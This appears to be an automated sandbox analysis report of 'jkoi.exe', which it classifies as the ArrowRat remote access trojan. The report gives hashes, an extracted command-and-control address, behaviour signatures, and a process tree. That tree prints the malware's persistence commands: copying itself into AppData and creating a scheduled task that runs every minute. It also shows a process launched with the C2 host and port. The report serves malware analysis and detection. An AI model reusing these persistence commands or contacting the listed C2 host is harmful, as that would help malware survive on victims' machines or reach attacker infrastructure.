Overview

overview

10

Static

static

3

jkoi.exe

windows7-x64

10

jkoi.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 12:39

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General

  • Target

    jkoi.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\jkoi.exe
    "C:\Users\Admin\AppData\Local\Temp\jkoi.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2740
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2852
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4756
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4612
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4396
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1336

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133716552216545777.txt
    Filesize

    75KB

    MD5

    b31aac55a78c3ab3ccfa17fb89fd443f

    SHA1

    eaa7e2303f6a869fc59d375c7c0d71fdd147359a

    SHA256

    08f666b59022d336c53830728bd9b35f6185d06e57dc6c2b054d146143ff4927

    SHA512

    33f5cd35c80b4e7babff0b60204c5c9c6c50ec76b046ed5786df54ee551678c5d76c5ac63afe27196bd1617baafffb03b75a975e4516d16145ccf8d3834ba5b3

    Download Submit

  • memory/1212-11-0x0000000004BA0000-0x0000000004C3C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1212-173-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/1212-14-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/1212-12-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/1212-10-0x0000000000350000-0x00000000003B0000-memory.dmp

    Filesize

    384KB

    Download

  • memory/1336-60-0x00000178702A0000-0x00000178702C0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1336-59-0x000001786FE90000-0x000001786FEB0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1336-29-0x000001786FED0000-0x000001786FEF0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2740-22-0x0000000002F90000-0x0000000002F91000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2852-19-0x0000000006780000-0x00000000067D0000-memory.dmp

    Filesize

    320KB

    Download

  • memory/2852-13-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

    Download

  • memory/2872-8-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/2872-7-0x0000000074E5E000-0x0000000074E5F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2872-16-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/2872-0-0x0000000074E5E000-0x0000000074E5F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2872-6-0x0000000005970000-0x000000000597A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/2872-5-0x0000000074E50000-0x0000000075600000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/2872-4-0x00000000054E0000-0x0000000005546000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2872-3-0x0000000005580000-0x0000000005612000-memory.dmp

    Filesize

    584KB

    Download

  • memory/2872-2-0x0000000005A90000-0x0000000006034000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2872-1-0x0000000000020000-0x00000000000DC000-memory.dmp

    Filesize

    752KB

    Download